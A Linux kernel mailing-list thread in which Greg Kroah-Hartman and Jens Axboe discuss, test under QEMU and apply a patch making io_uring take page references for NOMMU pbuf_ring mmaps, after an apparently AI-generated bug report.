>>>>>> let's just bin the thing.
>>>>>>
>>>>>>>> correct, but it might be a total load of crap here, my knowledge of the
>>>>>>>> vm layer is very low so take this for where it is coming from (i.e. a
>>>>>>>> non-deterministic pattern matching system.)
>>>>>>>>
>>>>>>>> I do have another patch that just disables io_uring for !MMU systems, if
>>>>>>>> you want that instead?  Or is this feature something that !MMU devices
>>>>>>>> actually care about?
>>>>>>>
>>>>>>> I mean, who really cares about !MMU in the first place, we should just
>>>>>>> kill that off with a passion.
>>>>>>>
>>>>>>> Let me take a closer look at this and bounce it past some vm people, my
>>>>>>> nommu knowledge is close to zero as it's never been relevant in my
>>>>>>> professional life time. Which is saying something...
>>>>>>
>>>>>> Let me try to get a reproducer going first, let's not waste any more
>>>>>> human time on this just yet, sorry for sending this out without that
>>>>>> done first...
>>>>>
>>>>> Ok, attached is a poc.c and a script to run it.  If you run this on a
>>>>> 7.0 kernel today, it "should" crash. and then if you apply the patch it
>>>>> doesn't (or at least that's what happened in my testing.)
>>>>>
>>>>> Note, I have run this locally, and it seems to work, but be careful, I
>>>>> can't guarantee anything, it does seem quite odd in that it "crashes"
>>>>> the kernel with a sysrq call to show "proof".  Although that is a cool
>>>>> trick, I need to remember that...
>>>>
>>>> I'll try and run a nommu qemu and see what pops out on my end. What a
>>>> waste of time for a nothing burger ;-)
>>>
>>> What is fix-paddr.py? It's referenced in the build script.
>>
>> Oops, this thing scattered crud all over the filesystem.  Here's what is
>> in the cross-wrap directory that it created.  If I forgot anything else,
>> let me know, sorry about that.  I need to clean up my working directory
>> for this box (which is rightfully air-gapped) as it's accumulated a lot
>> of cruft...
> 
> Still get the same error:
> 
> qemu-system-riscv64: Some ROM regions are overlapping
> These ROM regions might have been loaded by direct user request or by default.
> They could be BIOS/firmware images, a guest kernel, initrd or some other file loaded into guest memory.
> Check whether you intended to load all this guest code, and whether it has been built to load to the correct addresses.
> 
> The following two regions overlap (in the memory address space):
>   build-nommu/vmlinux.qemu ELF program header segment 0 (addresses 0x0000000000000000 - 0x00000000001f1e18)
>   mrom.reset (addresses 0x0000000000001000 - 0x0000000000001028)
> 
> axboe@r7625 ~/v/nommu [1]> qemu-system-riscv64 --version
> QEMU emulator version 10.2.2 (Debian 1:10.2.2+ds-1)
> Copyright (c) 2003-2025 Fabrice Bellard and the QEMU Project developers
> 
> What are you running this with?

Skipped the paddr/strip stuff and just booted arch/riscv/boot/Image:

[...]
[    0.217868] Freeing unused kernel image (initmem) memory: 400K
[    0.218137] This architecture does not have kernel memory protection.
[    0.218478] Run /init as init process
[*] pbuf_ring page mmap()ed at 0x8059c000
[*] unregistered; canary[0..3] = 55 55 55 55
[+] OK: canary intact — mmap holds page reference, fix is applied
[    0.237876] reboot: Power down

and doesn't complain here. Same sha, current Linus -tip which is also
what was used in the poc script.

Hmm?

-- 
Jens Axboe

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On 4/21/26 11:04 AM, Jens Axboe wrote:
> On 4/21/26 10:41 AM, Jens Axboe wrote:
>> On 4/21/26 10:24 AM, Greg Kroah-Hartman wrote:
>>> On Tue, Apr 21, 2026 at 10:21:04AM -0600, Jens Axboe wrote:
>>>> On 4/21/26 10:05 AM, Jens Axboe wrote:
>>>>> On 4/21/26 10:01 AM, Greg Kroah-Hartman wrote:
>>>>>> On Tue, Apr 21, 2026 at 03:55:38PM +0200, Greg Kroah-Hartman wrote:
>>>>>>> On Tue, Apr 21, 2026 at 07:50:32AM -0600, Jens Axboe wrote:
>>>>>>>> On 4/21/26 7:46 AM, Greg Kroah-Hartman wrote:
>>>>>>>>> Note, I have no way of testing this, I'm only forwarding this on because
>>>>>>>>> I got the bug report and was able to generate something that "seems"
>>>>>>>>
>>>>>>>> AI bug report I presume? Because I can't imagine anyone ever attempted
>>>>>>>> to run this.
>>>>>>>
>>>>>>> Yes, I got a bunch of "non-mmu" bug reports, which is a bit odd but I
>>>>>>> guess you can do that with qemu these days?  I should dig into that,
>>>>>>> maybe that way I can test this and get a reproducer for you.  If not,
>>>>>>> let's just bin the thing.
>>>>>>>
>>>>>>>>> correct, but it might be a total load of crap here, my knowledge of the
>>>>>>>>> vm layer is very low so take this for where it is coming from (i.e. a
>>>>>>>>> non-deterministic pattern matching system.)
>>>>>>>>>
>>>>>>>>> I do have another patch that just disables io_uring for !MMU systems, if
>>>>>>>>> you want that instead?  Or is this feature something that !MMU devices
>>>>>>>>> actually care about?
>>>>>>>>
>>>>>>>> I mean, who really cares about !MMU in the first place, we should just
>>>>>>>> kill that off with a passion.
>>>>>>>>
>>>>>>>> Let me take a closer look at this and bounce it past some vm people, my
>>>>>>>> nommu knowledge is close to zero as it's never been relevant in my
>>>>>>>> professional life time. Which is saying something...
>>>>>>>
>>>>>>> Let me try to get a reproducer going first, let's not waste any more
>>>>>>> human time on this just yet, sorry for sending this out without that
>>>>>>> done first...
>>>>>>
>>>>>> Ok, attached is a poc.c and a script to run it.  If you run this on a
>>>>>> 7.0 kernel today, it "should" crash. and then if you apply the patch it
>>>>>> doesn't (or at least that's what happened in my testing.)
>>>>>>
>>>>>> Note, I have run this locally, and it seems to work, but be careful, I
>>>>>> can't guarantee anything, it does seem quite odd in that it "crashes"
>>>>>> the kernel with a sysrq call to show "proof".  Although that is a cool
>>>>>> trick, I need to remember that...
>>>>>
>>>>> I'll try and run a nommu qemu and see what pops out on my end. What a
>>>>> waste of time for a nothing burger ;-)
>>>>
>>>> What is fix-paddr.py? It's referenced in the build script.
>>>
>>> Oops, this thing scattered crud all over the filesystem.  Here's what is
>>> in the cross-wrap directory that it created.  If I forgot anything else,
>>> let me know, sorry about that.  I need to clean up my working directory
>>> for this box (which is rightfully air-gapped) as it's accumulated a lot
>>> of cruft...
>>
>> Still get the same error:
>>
>> qemu-system-riscv64: Some ROM regions are overlapping
>> These ROM regions might have been loaded by direct user request or by default.
>> They could be BIOS/firmware images, a guest kernel, initrd or some other file loaded into guest memory.
>> Check whether you intended to load all this guest code, and whether it has been built to load to the correct addresses.
>>
>> The following two regions overlap (in the memory address space):
>>   build-nommu/vmlinux.qemu ELF program header segment 0 (addresses 0x0000000000000000 - 0x00000000001f1e18)
>>   mrom.reset (addresses 0x0000000000001000 - 0x0000000000001028)
>>
>> axboe@r7625 ~/v/nommu [1]> qemu-system-riscv64 --version
>> QEMU emulator version 10.2.2 (Debian 1:10.2.2+ds-1)
>> Copyright (c) 2003-2025 Fabrice Bellard and the QEMU Project developers
>>
>> What are you running this with?
> 
> Skipped the paddr/strip stuff and just booted arch/riscv/boot/Image:
> 
> [...]
> [    0.217868] Freeing unused kernel image (initmem) memory: 400K
> [    0.218137] This architecture does not have kernel memory protection.
> [    0.218478] Run /init as init process
> [*] pbuf_ring page mmap()ed at 0x8059c000
> [*] unregistered; canary[0..3] = 55 55 55 55
> [+] OK: canary intact ? mmap holds page reference, fix is applied
> [    0.237876] reboot: Power down
> 
> and doesn't complain here. Same sha, current Linus -tip which is also
> what was used in the poc script.
> 
> Hmm?

I'm just going to apply the patch, it's trivial (grab refs at mmap, drop
on close) and there's zero point in spending anymore time on this.

-- 
Jens Axboe

Re: [PATCH] io_uring: take page references for NOMMU pbuf_ring mmaps

[Jens Axboe]

On Tue, 21 Apr 2026 15:46:16 +0200, Greg Kroah-Hartman wrote:
> Under !CONFIG_MMU, io_uring_get_unmapped_area() returns the kernel
> virtual address of the io_mapped_region's backing pages directly;
> the user's VMA aliases the kernel allocation. io_uring_mmap() then
> just returns 0 -- it takes no page references.
> 
> The CONFIG_MMU path uses vm_insert_pages(), which takes a reference on
> each inserted page.  Those references are released when the VMA is torn
> down (zap_pte_range -> put_page). io_free_region() -> release_pages()
> drops the io_uring-side references, but the pages survive until munmap
> drops the VMA-side references.
> 
> [...]

Applied, thanks!

[1/1] io_uring: take page references for NOMMU pbuf_ring mmaps
      commit: d9b7b3d9c5286a786c7fe8220c55a6e012088c2e

Best regards,
-- 
Jens Axboe